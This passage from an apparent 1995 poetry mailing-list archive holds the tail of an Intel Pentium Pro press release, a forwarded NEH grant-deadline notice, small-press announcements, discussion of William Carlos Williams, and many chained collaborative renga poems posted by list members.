next-generation microprocessor, previously code-named P6. The 5.5 million transistor device will be introduced in the fourth quarter of this calendar year, and will be targeted at workstation and high-end desktop systems, as well as cost-effective servers. The Pentium Pro processor will deliver the highest level of performance on 32-bit software for the Intel architecture.

"By naming the next-generation processor `Pentium Pro,' Intel is building on the equity in the Pentium name while signifying that this is something beyond the original," explained G. Carl Everett, senior vice president, Desktop Products Group at Intel. "Among target market segments, the Pentium brand has an awareness level as high as 95 percent, according to our research. Intel believes the next-generation processor will benefit immensely from this association as we introduce it into the marketplace."

The Pentium Pro processor is the first product of a parallel engineering effort undertaken by Intel in the early 1990s. Its unique Dynamic Execution engine was conceived when today's Pentium processor was still a software simulation. The compressed design cycles of new generations of chips have resulted in the delivery of some of the most powerful, low-cost microprocessors for a widening spectrum of uses. For example, Intel was recently selected by the U.S. Department of Energy to build a 9,000-processor computer based on the Pentium Pro processor that will deliver 10 times the performance of today's fastest supercomputers.

For more information on the Pentium Pro processor visit Intel's home page on the World Wide Web at URL http://www.intel.com/. Coming soon, those visiting Intel's web site will have the opportunity to create a 3D image rendered on a Pentium Pro processor-based web server located in Oregon. For more information on the availability of the rendering machine, please subscribe to Intel's Pentium Pro processor mailing list by sending an e-mail to [redacted] and place the word "subscribe" in the first line of the body of the message.

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753. Kit Robinson
Minna Street
Fri 22 Sep 1995

Reply to: Minna Street
Poetry & Performance Series
111 MINNA STREET GALLERY
(at 2nd St.) San Francisco

Lyn Hejinian & Travis Ortiz

September 18 / 8 o'clock / $3 donation

↑ Index

754. Aldon L. Nielsen
Re: All the news in fits
Fri 22 Sep 1995

Thanks to Carolyn and all who followed with the good news of incipient change -- Mason & Phoebe were dead as Ed thinks Williams is back when I lived in the area -- & any opening out of the AWP news is news indeed -- I was getting tired of that "theory sucks & nobody can read anymore" line --

I too had noticed that a cadre of students was begninning to show up on campus actually asking to read people like Bernstein, Palmer, Hejinian, Berssenbrugge (of course, since I'd been playing the poetry of these folk on the radio in hopes of creating such a demand, I can't claim to be entirely caught off guard by this)

But we are mostly taliking about small inroads -- the reading program at our campus is still firmly in the hands of a younger gurad with old guard ambitions -- I have never been able to get _any_ body added to the list -- Best I could do was get the guy to invite Mackey, who, living just over the hill, didn't cost much money in travel -- but he wouldn't even invite Nate till books from Cambridge & Coffee House & City Lights began popping up all over the place --

With all this infiltration going on, maybe we will soon be the old farts the new writers overthrow (perhaps with yet another return to Williams?!?) -- not a bad fate to contemplate --

↑ Index

755. Jorge Guitart
Re: be advised: wcw qtd in this decade
Fri 22 Sep 1995

> >
> > on the day after the equinox Sheila, George and Jorge
were returned to sender in a sealed wagon"
> > "The hell we were!" GB"
> >
> > >
> > > >> >> In the books were dreams and in the dreams were books.
> > > > > >> >> And flew through windows, lightning green and fine
morning
> > > > > >> >> First inverted whistle of a cardinal in the poplar

> > > > > >> >> The book and the oboe on the grass under sun and cloud
> > > > > >> >> Go endlessly, an obtuse Prussian blue, it binds
> > > > > >> >> The rook to the knight here by King's Bishop Three
> > > > > >> >> Something has changed in the nature of friendship
> > > > > >> >> But wouldn't you know it, Mrs. Mullett next in line
> > > > >> >> For food stamps, quints racing about the linoleum
> > > > > >> >> Everything leans on the verb, falling, sighs
> > > > > >> >> Twelve at least, one loves only firm, and firm
> > > > > >> >> feels good to her it feels real good, & the corset
> > > > > >> blanches from so many passwords being lifted like expected bans
> > > > > > on metaphors that the folks at the contagious hospital
> > thought we might be weaned of early, late, whatever,
> but I am taking the broken glass as a token of my first epiphany
> sassafras is my powerlessness to split scintillas in the mist
> the outside corner, showering early while the Pirates
were irate without their pes & sent george bee to the miners

↑ Index

756. John Cayley
NEW publication from WellSweep Press
Fri 22 Sep 1995

A new chapbook from WellSweep.

Yang Lian has been published in Talisman and Conjunctions 23.

Also he really exists (he's actually staying here with us at the moment), so don't worry about the Yasusada syndrome.

Also, please check out Wellsweep's web site:

http://www.inforamp.net/~cayley/wshome.html

and a new page of sample poems published in its books:

http://www.inforamp.net/~cayley/wsamples.html

==========

WHERE THE SEA STANDS STILL

Yang Lian

WellSweep Chinese Poets 6+
translated by Brian Holton

Yang Lian (born 1955) is one of the best-known of the so-called 'misty' or 'ambiguist' poets who came to prominence in China during the 1980s. He has

published six collections of poetry and two anthologies of prose in Chinese. His work has been translated into many European languages, and English versions of his poems have been widely published in magazines. WellSweep brought out a book-length collection of his shorter poems, Non-Person Singular in 1994. 'Where the Sea Stands Still' is the first complete publication of Yang Lian's most recent work. It is the most important piece he has written since leaving China. Yang Lian's ever-moving 'sea' stands still in the midst of its restlessness; it is here in the midst of nowhere; and in the space of the poem, time is swept away. Because of Odysseus, the sea began its endless ebb and flow; when this sequence was written, the sea stood still, and became an illusion.

Brian Holton teaches Chinese at the Universities of Newcastle and Durham. He is also the translator of WellSweep's first collection of Yang Lian's poetry, Non-Person Singular.

The book reproduces paintings inside and on the cover by Gao Xingjian, a pioneer of avant-garde literature in China who is best-known internationally as a dramatist. In 1989 Gao moved to Paris as a political exile and in 1992 he was made Chevalier de l'Ordre des Arts et des Lettres de la France. His paintings have been exhibited in numerous one-person and group exhibitions, and are held in the collections of many public galleries throughout Europe.

32 pp, 21 x 13 cm, parallel text. 4 b/w illustrations.

GBP£2.95 (US$6) pbk ISBN 0 948454 25 3
This edition is strictly limited to 200 copies. It is only available direct from the publisher.
26 additional copies have been printed on special papers and bound by sewing (rather than stitching). Inquiries welcome.

↑ Index

757. **Jorge Guitart**
Re: be advised: wcw qtd in this renga
Fri 22 Sep 1995

> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The rook to the knight here by King's Bishop Three*
> *Something has changed in the nature of friendship*
> *But wouldn't you know it, Mrs. Mullett next in line*
> *For food stamps, quints racing about the linoleum*
> *Everything leans on the verb, falling, sighs*
> *Twelve at least, one loves only firm, and firm*

> *feels good to her it feels real good, & the corset*
> *blanches from so many passwords being lifted like expected bans*
> *on metaphors that the folks at the contagious hospital*
> *thought we might be weaned of early, late, whatever,*
> *but I am taking the broken glass as a token of my first epiphany*
> *sans snow, expansive though, fluent in half tones*
> *protomagnificent almost protosordid a proxy of ourselves as swellings*

↑ Index

758. Jorge Guitart

Re: spike it with saussure - begins the reich

Fri 22 Sep 1995

> >On Wed, 20 Sep 1995, Jurphy Sowering Borge, Jr. wrote
> >> >
> >> >> >In the books were dreams and in the dreams were books.
> >> >> >incorporating the end of timewarps and troves treasured
> >> >> >the mercator projection of horniness and thou; for thou is
> >> >> >Wow! What a catch! Yowza! Incorporating the dead heroes
> >> >> >who pester as obsession or a hobby or as fraction of a prayer,
> >> >> >towering above us with a lot of bothersome >>>>>>>>>>>>,s
> >> >> measured at density 21.5 along with a "d" added to first name
> >> >> of DDaniel who saw Adonai and believe me he was no Adonis
> >> although reputation tends to weave a little of transfixive
> >> which sticks to your clothes and makes you ineluctable
> as timpanic surface potable though shrill
  avatars, managing with just a couple of deflowering judases

↑ Index

759. Hank Lazer

Re: incursion / attaching to the host

Fri 22 Sep 1995

I am glad to hear of Carolyn Forche's work at George Mason. Intrigued too by the report from Iowa (& found that news rather surprising). Personally, I have been committed to such work for quite some time. Most recent results, the article on Charles Bernstein in APR, and a section called "The Other South" in the current issue of the New Orleans Review.

The APR essay was 40 pages in manuscript. APR did not cut the essay at all--which surprised me. I sent it to them after calling Stephen Berg and asking if he'd be interested. He made no commitment whatsoever, said the essay would be read by the three editors. I asked for a quick response--I assumed they

would not take it, and I would send it elsewhere quickly. After two months, I badgered them, and they took the essay (that was about a year ago).

The special section in New Orleans Review--which includes work by several people on this list (Paul Naylor, Jake Berry, Lisa Samuels, etc.)--was put together by Bill Lavender. He did an extraordinary job, locating an exciting range of "southern" (US) poetry. If you're interested in the results, e-mail me backchannel. I have a few extra copies, and would be glad to mail you one.

As in the previous discussion of independent bookstores ... if these and other similar incursions appeal to you, it might be worthwhile to write the editors and note your approval. I know that in the case of the New Orleans Review, letters of support would lend credibility to the wonderful work that Bill Lavender did. In fact, the magazine might continue to give him space if there is an interest in the "new" work.

And as part of this purgative de-lurking, I also have a collaborative (with Yunte Huang) prose piece on Chinese poetry-politics in the current issue of Central Park.

Hank Lazer

↑ Index

760. **Jorge Guitart**
Re: renga - the sequel
Fri 22 Sep 1995

---

hobbyist quaffs juleps poured in the direction of the skids weave a pro toy aversion by the martyrs of cogency

↑ Index

761. **Jorge Guitart**
Re: be advised: wcw qtd in this renga
Fri 22 Sep 1995

> *on the day of the locust sheila wrote*
>
> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The rook to the knight here by King's Bishop Three*
> *Something has changed in the nature of friendship*
> *But wouldn't you know it, Mrs. Mullett next in line*

> *For food stamps, quints racing about the linoleum*
> *Everything leans on the verb, falling, sighs*
> *Twelve at least, one loves only firm, and firm*
> *feels good to her it feels real good, & the corset*
> *blanches from so many passwords being lifted like expected bans*
> *on metaphors that the folks at the contagious hospital*
> *thought we might be weaned of early, late, whatever,*
> *but I am taking the broken glass as a token of my first epiphany*
> *sassafras is my powerlessness to split scintillas in the mist*
> *of lathering first frost as noon comes on like torqued weed*
> *sucking on the indescribable and taking the ineffable for a walk*

↑ Index

762. **Jorge Guitart**

Re: be advised: wcw qtd in this renga

Fri 22 Sep 1995

On Thu, 21 Sep 1995, Sheila E. Murphy wrote:

> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The rook to the knight here by King's Bishop Three*
> *Something has changed in the nature of friendship*
> *But wouldn't you know it, Mrs. Mullett next in line*
> *For food stamps, quints racing about the linoleum*
> *Everything leans on the verb, falling, sighs*
> *Twelve at least, one loves only firm, and firm*
> *feels good to her it feels real good, & the corset*
> *blanches from so many passwords being lifted like expected bans*
> *on metaphors that the folks at the contagious hospital*
> *thought we might be weaned of early, late, whatever*
> *the contagious wind strikes a chord with nothing ventured*
> *nothing maimed, my parents won't let me play with density*
> *because its quantity is known, and they prefer unknowns*
> *like the time we went to the ruins of sensible ideas and mom*
> *sold ice blue secret back to vendors parked where no shade*
> *was enough for Poco Macho and his shortcircuiting touch*

↑ Index

763. **Jorge Guitart**
Re: renga - the sequel
Fri 22 Sep 1995

---

hobbyist quaffs juleps poured in the direction of the skids stuffs morton's insistence on intermittency shaking freely makes neo-grotesque be taken at stock value while admitting

↑ Index

764. **Jorge Guitart**
Re: spike it with saussure - begins the intramix...
Fri 22 Sep 1995

On Fri, 22 Sep 1995, Sheila E. Murphy wrote:

> >On Tue, 19 Sep 1995, Charles Alexander wrote:
> >
> >Some ink-daubbed wretches wrote:
> >
> >In the books were dreams and in the dreams were books
> >
> >of Palookaville & the dead heroes of Guadalajara
> >empowering scores of liberated mozos intent of Lacanian
> >libretti, salted with much, much more than roughage added to taste
> >or tremolo, finding the shores awash with alphabet, proclaiming nothing
> >nutting nothing a-merrily over my dead bodies in abandon
> >where wrote was written, stepping one four nine
> passacaglia without the prefab little knobbed things on them
completely set on the sea as so much crabbiness

↑ Index

765. **Hank Lazer**
Re: WCW
Fri 22 Sep 1995

I've been quite interested in the ongoing WCW discussion. Normally, I would be contra-Foster, but I've just been teaching and re-reading Spring and All. Yes, Ron Silliman's point is, alas, correct: Spring and All would still, today, be a difficult manuscript to get published. And yes, Alan Golding, I believe, is right: for many readers, including many today, Spring and All provides a place of permission. But personally, this time through Williams, my own response is closer to Ed Foster's--I'm not finding much that excites me. Thus, back to points raised by Rod Smith and Ed Foster both--when is a work "used up." For

me, some WCW, including much of Spring & All, is beginning to sputter, to run on fumes. Which makes me want to re-read Paterson....?

Hank Lazer

↑ Index

766. Burt Kimmelman

In case you haven't heard:

Fri 22 Sep 1995

From: MX%"[redacted]" 22-SEP-1995 09:59:59.54
To: MX%"[redacted]"
CC:
Subj: Re: H-ASIA: More NEH programs suspended; others have deadlines

Date: Fri, 22 Sep 1995 09:56:11 -0400
Errors-To: [redacted]
Originator: [redacted]
From: wall andrew p <[redacted]>
To: Multiple recipients of list <[redacted]>
Subject: Re: H-ASIA: More NEH programs suspended; others have deadlines

See below. Martha

----------Original message----------
>
Regarding the NEH cutbacks and new program deadlines, here
>is a listing that came through H-Asia 2 days ago.
>Andrew Cohen
>------- Forwarded Message Follows -------
>
>Date: Tue, 19 Sep 1995 16:41:48 -0700
>From: Frank Conlon <[redacted]>
>Subject: H-ASIA: More NEH programs suspended; others have deadlines
> postponed
>To: Multiple recipients of list H-ASIA <[redacted]>
>
> H-ASIA
> September 19, 1995
>
>More Bad News from National Endowment for the Humanities
>**********
>From: H-Net Central <[redacted]>
>
>N.E.H ANNOUNCES CHANGES IN APPLICATION DEADLINES

>
>Due to the uncertain funding level of the National Endowment for
>the Humanities at the beginning of the new fiscal year (October),
>there is a need to reorganize the agency's application review
>process.
>
>The following list indicates all application deadline changes to
>date. For all NEH programs not listed here, previously published
>application deadlines apply.
>
> Old deadline New deadline
>Division of Public Programs
>Projects in Media Oct. 1, 1995 Jan. 12, 1996
>(planning, scripting and production) March 1, 1996 Jan. 12, 1996
>
>Projects in Museums and Historical Orgns.
>(planning and implementation) Dec. 1, 1995 Jan. 12, 1996
>
>Projects in Libraries and Archives
>(planning and implementation) Nov. 1, 1995 Jan. 12, 1996
>
>Special Projects Nov. 1, 1995 Jan. 12, 1996
> March 1, 1996 Jan. 12, 1996
>
>National Conversation Special Comp. Nov. 24, 1995 NO CHANGE
>
>Division of Education Programs
>Higher Education
> No applications will be accepted for the Oct. 1, 1995, deadline.
> Applications for national summer institutes only will be accepted
> for the Feb. 1, 1996, deadline.
>
>Elementary and Secondary Education
> No applications will be accepted for the Oct. 1, 1995, deadline.
> Applications for national summer institutes only will be accepted
> for the Feb. 1, 1996, deadline.
>
>Science and Humanities: Integrating
> Undergraduate Education February 1, 1996 (Canceled)
>
>Division of Research Programs
>Archaeology Projects Oct. 1, 1995 (Suspended)

>
>Conferences Dec. 1, 1995 (Suspended)
>
>Dissertation Grants Oct. 16, 1995 (Suspended)
>
>Humanities Studies of Science/Tech. Oct. 1, 1995 (Suspended)
>
>Publication Subvention Feb. 1, 1996 (Suspended)
>
>Summer Stipends Oct. 1, 1995 (Suspended)
>
>Reference Materials (will be moved to Div. of Preservation and
>Access Dec. 1, 1995) Nov. 1, 1995 July 1, 1996
>
> information contact: [redacted]
>==========
==========
>

↑ Index

767. **Mark Roberts**

Distribution

Fri 22 Sep 1995

Sorry I'm running late replying to this thread.

I am currently setting up a small press distribution network in Sydney which will handle Australian small press stuff in the first instance but we may well be able to take some os stuff after we get up and running. I'll keep list members up to date. (we will also run stores at readings seminars and the like and it may be possible to take one or two copies of o/s magazines to sell on consignment that way - we'll see).

There have been a number of attempts to set up distribution networks in Australia over the years. Most have them have fallen down because of the distances involved. You really need to have staff in each capital city and given Australia's small population and massive distances the economics just don't add up. We are trying to overcome this by limiting ourselves to the city and thye bookshops we know the best.

We will be also be setting up a virtual bookshop so a whole lot of Australian small press publications should become available shortly via the net.

regards

mark
(Australian Writing On Line)

↑ Index

768. **Chris Scheil**
Re: renga - the sequel
Fri 22 Sep 1995

> hobbyist quaffs juleps poured in the direction of the skids
> stuffs morton's insistence on intermittency shaking freely
> leaf stems cubes whirl about as hobbyist pauses to consider
lunch as a pearl of sanitized dung in relation to

↑ Index

769. **Chris Scheil**
Re: renga - the sequel
Fri 22 Sep 1995

> hobbyist quaffs juleps poured in the direction of the skids
> stuffs morton's insistence on intermittency shaking freely
> makes neo-grotesque be taken at stock value while admitting
Trappists to Morton's for piquant hor d'oeurveal persimmons on toast

↑ Index

770. **Sheila E. Murphy**
Re: renga - the sequel
Fri 22 Sep 1995

>hobbyist quaffs juleps poured in the direction of the skids
>made by Chevettes sliding off the I5 south of Tacoma
>looking like a born-again, living like a heretic, listening
to blues most simpering until the Camels dry away, stained fingertips

↑ Index

771. **Sheila E. Murphy**
Re: renga - the sequel
Fri 22 Sep 1995

> hobbyist quaffs juleps poured in the direction of the skids
> stuffs morton's insistence on intermittency shaking freely
> leaf stems cubes whirl about as hobbyist pauses to consider
truculence beside unlather of the little pacem dished out

↑ Index

772. Jeffrey Timmons
Re: you & an army of mixed metaphors and forgotten half-truths...
Fri 22 Sep 1995

Well, fortunately, ed, WcW will not be "tossed out" anytime soon. Why this penchant for purgation?

As for eric's and Hank's recent posts: geez, do I have to admit WcW is not exactly exciting? To me it's not so much a question of excitment/boredom as it is a matter of knowing why he did (DID) matter. What was it he did that was (WAS) important? No where was this discussed; matter of fact dismissal, while making good posts, is another matter when it comes to accounting for a particular poets relevance. Bahktin may not be cutting edge any longer, but is he any less useful? NO, in case you thought otherwise. Peter Stallybrass's work with B. has been very important and is still very relevant.

Two other things: eric: i was thinking about your picasso comment and think that, yes, WcW is something along the same lines (though P. is obviously more exciting and important)a; that is, he has been absorbed, he no longer shocks. Have you listened to The Rite of Spring lately. Those pounding rhythms must have been distressful at one point, but they no longer shock. Quite tame, really, compared to the new Strapping Young Lad CD.

I forgot the other thing.... Um.... Well, anyway, what I've found disappointing about this exchange is the lack of discussion about why he is boring. And, really, is that even a word to be using? I mean, I have not learned a thing from such a dismissal. Tell me what's exciting. Or let me tell you . . . .

Jeffrey Timmons

On Fri, 22 Sep 1995, Edward Foster wrote:

> *well, jeffrey, i'd have to argue with "dialogue," too; there are poetries that are interesting to read that way, but essentially that's bahktin, who got tossed out quite a while ago. and in any case what's interesting is writing, not "about."*

↑ Index

773. Sheila E. Murphy
Re: be advised: wcw qtd in this renga
Fri 22 Sep 1995

>> >> > >> >> In the books were dreams and in the dreams were books.
>> >> > >> >> And flew through windows, lightning green and fine morning
>> >> > >> >> First inverted whistle of a cardinal in the poplar
>> >> > >> >> The book and the oboe on the grass under sun and cloud
>> >> > >> >> Go endlessly, an obtuse Prussian blue, it binds

>> >> > >> >> The rook to the knight here by King's Bishop Three
>> >> > >> >> Something has changed in the nature of friendship
>> >> > >> >> But wouldn't you know it, Mrs. Mullett next in line
>> >> > >> >> For food stamps, quints racing about the linoleum
>> >> > >> >> Everything leans on the verb, falling, sighs
>> >> > >> >> Twelve at least, one loves only firm, and firm
>> >> > >> >> feels good to her it feels real good, & the corset
>> >> > >> blanches from so many passwords being lifted like expected bans
>> >> > > on metaphors that the folks at the contagious hospital
>> >> > thought we might be weaned of early, late, whatever,
>> >> > but I am taking the broken glass as a token of my first epiphany
>> sans snow, expansive though, fluent in half tones
>> protomagnificent almost protosordid a proxy of ourselves as swellings
bunched like little creams in plastic slightly crumpled at the bottom of a purse

↑ Index

774. **Sheila E. Murphy**
Re: spike it with saussure - begins the intramix...
Fri 22 Sep 1995

In the books were dreams and in the dreams were books
of Palookaville & the dead heroes of Guadalajara
empowering scores of liberated mozos intent of Lacanian
libretti, salted with much, much more than roughage added to taste
or tremolo, finding the shores awash with alphabet, proclaiming nothing
nutting nothing a-merrily over my dead bodies in abandon
where wrote was written, stepping one four nine
passacaglia without the prefab little knobbed things on them
completely set on the sea as so much crabbiness
diverts attention from wars in three voices and the steady rain of hemlock

↑ Index

775. **Sheila E. Murphy**
Re: be advised: wcw qtd in this renga
Fri 22 Sep 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
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Everything leans on the verb, falling, sighs
Twelve at least, one loves only firm, and firm
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blanches from so many passwords being lifted like expected bans
on metaphors that the folks at the contagious hospital
thought we might be weaned of early, late, whatever,
but I am taking the broken glass as a token of my first epiphany
sassafras is my powerlessness to split scintillas in the mist
of lathering first frost as noon comes on like torqued weed
sucking on the indescribable and taking the ineffable for a walk
to Paris via seed cigars and chicory and plantain butts

↑ Index

776. **Sheila E. Murphy**
Re: NEW publication
Fri 22 Sep 1995

Maybe not new to everyone, but 1995 vintage:

David Miller - STROMATA - from Burning Deck

a splendid creation - don't miss it

↑ Index

777. **Sheila E. Murphy**
Re: renga - the sequel
Fri 22 Sep 1995

>hobbyist quaffs juleps poured in the direction of the skids
>weave a pro toy aversion by the martyrs of cogency
who blather anyway with wrinkled tongues

↑ Index

778. **Sheila E. Murphy**
Re: renga - the sequel
Fri 22 Sep 1995

> hobbyist quaffs juleps poured in the direction of the skids
> stuffs morton's insistence on intermittency shaking freely
> makes neo-grotesque be taken at stock value while admitting
splits of shares like to be hitched to stories

↑ Index

779. Sheila E. Murphy
Re: spike it with saussure - begins the reich
Fri 22 Sep 1995

>> >On Wed, 20 Sep 1995, Jurphy Sowering Borge, Jr. wrote
>> >> >
>> >> >> >In the books were dreams and in the dreams were books.
>> >> >> >incorporating the end of timewarps and troves treasured
>> >> >> >the mercator projection of horniness and thou; for thou is
>> >> >> >Wow! What a catch! Yowza! Incorporating the dead heroes
>> >> >> >who pester as obsession or a hobby or as fraction of a prayer,
>> >> >> >towering above us with a lot of bothersome >>>>>>>>>>>>,s
>> >> >> measured at density 21.5 along with a "d" added to first name
>> >> >> of DDaniel who saw Adonai and believe me he was no Adonis
>> >> although reputation tends to weave a little of transfixive
>> >> which sticks to your clothes and makes you ineluctable
>> as timpanic surface potable though shrill
> avatars, managing with just a couple of deflowering judases
to brick the windows both ways just in time for

↑ Index

780. cris cheek
Re: Sheila, Chris & Jorge's Excellent Adventure
Fri 22 Sep 1995

>R! = C!S!J! = (X - >>>>) where X is a variable ranging from excellent to
>outasight
>
> "books were closed, dreams were cancelled, the inverted
>poplar was set
> right, the cardinal was killed"
>
> St.John Terse, "Ananas"
>
>
>ripe for macroscopes to pump or slice or butterfly away
 from that ardent bugged heliotrope and pledge allegiance through
 ostension--we stopped short of the shortstop stigmata
 this time pencilled in as tangly wisps instead of memory
 detonations: but don't forget to dismember the doloroso
 I left in the rain by mistake whilst on business vocation

hollering newmown platitudes to headsets painted blue and waffle colored
earth colored fire colored i have this thing against water colored
therefore elemental-painted playthings cost a dear shined copper looking
for false grit and the dogma of autonomous syntax overwhelmed them
when striking from base-camp their paraffin tongues in the cauldron
of sylvia's morning during the time that ted was devising a way to
narrate implied memory for newly-learned novel objects

↑ Index

781. **cris cheek**

Re: Sheila, Chris & Jorge's Excellent Adventure

Fri 22 Sep 1995

>SEM-CC-JG BRANCH 9/19/95 J adding to C adding to J adding to S
>
>> >> >> >in the books were dreams and in the dreams were
>> >> >> >books.And flew > >> >>> >>
>> >> >> >> >> >>> >> (...)
>> >> >> >> >> >>> >>
>> >> >> >> >> >>> >>> >spending the bulk of closure with sentient
scoops
>> >> >> >> >> >>> >>> that fluke picnic shot out of these worlds we
spread
>>been-
>to
>> >> >> >> >> >>> >> say that the center cannot hold the nose tackle
much
>>longe
>r
>> >> >> >>> >than a clam can sleeve out of incarceration baldly
>> >> >> >>> go where others fear to operate the biggest donors hive
>> >> >> >>> & where Mars collides with the small world of "It's a small
>> >>world
>> >"
>> >> >> >ripe for macroscopes to pump or slice or butterfly away
>> >> >> from that ardent bugged heliotrope and pledge allegiance through
>> >> > ostension--we stopped short of the shortstop stigmata
>> >> this time pencilled in as tangly wisps instead of memory
>> > detonations: but don't forget to dismember the doloroso
>> pitchpipe with its squeal subtracted and the dotted-line relationships
>and sing "I Love Time but I love Your Spatial Simulacra Much More"
>> for the brevity inferred and for the latchkey touch more like a feather

>> drizzling blood of picklet beet all over the related phenomena
> braising from punch a drunk streak which no absolute bearings flew
 off the Handel I did not miss for Pergolesi was by the pergola with
 shadows of her former selves implanting pre-recorded brick

↑ Index

782. **cris cheek**
Re: Sheila, Cris & Jorge's Excellent Adventure
Fri 22 Sep 1995

> *SEM-CC-JG BRANCH 19/9/95 C adding to J adding to C adding to S*
> *in the books were dreams and in the dreams were books.And flew*
> *spending the bulk of closure with sentient scoops*
> *that fluke picnic shot out of these worlds we spread been-to*
> *say that the center cannot hold the nose tackle much longer*
> *than a clam can sleeve out of incarceration baldly*
> *go where others fear to operate the biggest donors hive*
> *& where Mars collides with the small world of "It's a small world"*
> *ripe for macroscopes to pump or slice or butterfly away*
> *from that ardent bugged heliotrope and pledge allegiance through*
> *ostension--we stopped short of the shortstop's stigmata*
> *this time pencilled in as tangly wisps instead of memory*
> *detonations: but don't forget to dismember the doloroso*
> *I left in the rain by mistake whilst on business vocation*
> *the night I told you to stop referring to me as Ontology Boy*
> *and you replied all shrouded in epistemology that it was glue we lacked*
> *"ckab oups frert cdl-fdl!!" with elvis projecting "uhhhh, I'm all stuck*
> *in the epoxy I used to cement my relationship w/ Thou, the Dead Quaker*
> *who who traipses a paradigm sweat under lights and then fixes*
>
> *>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>groin>>>>>>>>>>>>>*
> *>>>*
> *permit holders >>> inters the sneak >>>> impossible "part"*

↑ Index

783. **cris cheek**
Re: Sheila, Chris & Jorge's Excellent Adventure
Fri 22 Sep 1995

> *JG wrote:*
> *On Sun, 17 Sep 1995, Sheila E. Murphy wrote:*
>
> *SEM-CC-JG BRANCH 9/18/95*
>
> *in the books were dreams and in the dreams were*

> *books.And flew > >> >>> >>*
> *(...)*
>
> *spending the bulk of closure with sentient scoops*
> *that fluke picnic shot out of these worlds we spread been-to*
> *say that the center cannot hold the nose tackle much longer*
> *than a clam can sleeve out of incarceration baldly*
> *go where others fear to operate the biggest donors hive*
> *& where Mars collides with the small world of "It's a small world"*
> *ripe for macroscopes to pump or slice or butterfly away*
> *from that ardent bugged heliotrope and pledge allegiance through*
> *ostension--we stopped short of the shortstop stigmata*
> *this time pencilled in as tangly wisps instead of memory*
> *detonations: but don't forget to dismember the doloroso*
> *pitchpipe with its squeal subtracted and the dotted-line relationships*
> *and sing "I Love Time but I love Your Spatial Simulacra Much More"*
> *for the brevity inferred and for the latchkey touch more like a feather*
> *drizzling ribs trained sultry moments gathering to migrate south*

↑ Index

784. cris cheek
Re: this break will or will not not branch
Fri 22 Sep 1995

>Jorge, the Nobel Savage, wrote
>
>> >> >>>>In the books were dreams and in the dreams were books.
>> >> >>>>And flew through windows, lightning green and fine morning
>> >> [savage edit]
>> >> >>>>demitassed to mean full-bodied wine with alcohol removed
>> >> >>>>by trained leeches from under the rotting elastic, a feast
>> >> >>>>of swirling eddies with beaucoup of labia & confetti
>> >> >>>>starving time's scythe for water, matching colors to go
>> >> >>>crecheward into sweet line drawings clothed to world our
>> >> >>words for water, falling four blocks away, finally, a gulf
>> >> >between perceived and rinsing water, shroud and comforter,
>> >> flogging proud wet stones with patchwork flags making tenement hum
>> > with "Too late the coloscope" and "Cried the besotted gondry"
>> fishing around with like with like and let it get too cold, "Hey,
> tell us apart" "Don't be saussure, tracy". "The name is trace, pal"
spun on painted heels, then "vanishing, not varnishing!" her smile

↑ Index

785. **cris cheek**
Re: be advised: wcw qtd in this decade
Fri 22 Sep 1995

>> >
>> > on the day after the equinox Sheila, George and Jorge
>were returned to sender in a sealed wagon"
>> > "The hell we were!" GB"
>> >
>> > >
>> > > >> >> In the books were dreams and in the dreams were books.
>> > > > > >> >> And flew through windows, lightning green and fine morning
>> > > > > >> >> First inverted whistle of a cardinal in the poplar
>> > > > > >> >> The book and the oboe on the grass under sun and cloud
>> > > > > >> >> Go endlessly, an obtuse Prussian blue, it binds
>> > > > > >> >> The rook to the knight here by King's Bishop Three
>> > > > > >> >> Something has changed in the nature of friendship
>> > > > > >> >> But wouldn't you know it, Mrs. Mullett next in line
>> > > > >> >> For food stamps, quints racing about the linoleum
>> > > > > >> >> Everything leans on the verb, falling, sighs
>> > > > > >> >> Twelve at least, one loves only firm, and firm
>> > > > > >> >> feels good to her it feels real good, & the corset
>> > > > > >> blanches from so many passwords being lifted like expected bans
>> > > > > > on metaphors that the folks at the contagious hospital
>> > thought we might be weaned of early, late, whatever,
>> but I am taking the broken glass as a token of my first epiphany
>> sassafras is my powerlessness to split scintillas in the mist
>> the outside corner, showering early while the Pirates
> were irate without their pes & sent george bee to the miners
a seachange to order as happy as money could meld me a rope

↑ Index

786. **cris cheek**
Re: renga - the sequel
Fri 22 Sep 1995

---

hobbyist quaffs juleps poured in the direction of the skids
made by Chevettes sliding off the I5 south of Tacoma
monikered bellwether of the pall
top crash, whose running gag was meat

↑ Index

787. cris cheek
Re: be advised: wcw qtd in this renga
Fri 22 Sep 1995

>> >> > >> >> In the books were dreams and in the dreams were books.
>> >> > >> >> And flew through windows, lightning green and fine morning
>> >> > >> >> First inverted whistle of a cardinal in the poplar
>> >> > >> >> The book and the oboe on the grass under sun and cloud
>> >> > >> >> Go endlessly, an obtuse Prussian blue, it binds
>> >> > >> >> The rook to the knight here by King's Bishop Three
>> >> > >> >> Something has changed in the nature of friendship
>> >> > >> >> But wouldn't you know it, Mrs. Mullett next in line
>> >> > >> >> For food stamps, quints racing about the linoleum
>> >> > >> >> Everything leans on the verb, falling, sighs
>> >> > >> >> Twelve at least, one loves only firm, and firm
>> >> > >> >> feels good to her it feels real good, & the corset
>> >> > >> blanches from so many passwords being lifted like expected bans
>> >> > > on metaphors that the folks at the contagious hospital
>> >> > thought we might be weaned of early, late, whatever,
>> >> > but I am taking the broken glass as a token of my first epiphany
>> sans snow, expansive though, fluent in half tones
>> protomagnificent almost protosordid a proxy of ourselves as swellings
framed a pride of loans heaped onto bonding sloth "Enough of all

↑ Index

788. Sheila E. Murphy
Re: renga - the sequel
Fri 22 Sep 1995

>> hobbyist quaffs juleps poured in the direction of the skids
>> stuffs morton's insistence on intermittency shaking freely
>> makes neo-grotesque be taken at stock value while admitting
> Trappists to Morton's for piquant hor d'oeurveal persimmons on toast
